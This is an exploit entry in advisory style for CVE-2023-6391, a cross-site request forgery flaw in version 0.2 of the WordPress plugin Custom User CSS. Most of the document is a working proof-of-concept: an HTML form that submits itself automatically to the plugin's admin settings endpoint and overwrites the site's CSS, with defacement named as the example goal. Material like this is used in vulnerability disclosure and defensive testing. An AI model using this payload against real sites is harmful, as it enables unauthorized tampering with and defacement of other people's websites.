CVE: CVE-2023-6391

Name: Custom User CSS (custom-user-css)

Version: 0.2

Date: 2022-12-08 22:53:50

Advisory: 

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/themes.php?page=custom-user-css/custom_user_css.php" method="POST">
    <input type="text" name="custom_user_css_css" value="overwritten css, for example for defacement">
    <input type="text" name="action" value="update">
    <input type="text" name="page_options" value="custom_user_css_css">
</form>
<script>
    document.forms[0].submit();
</script>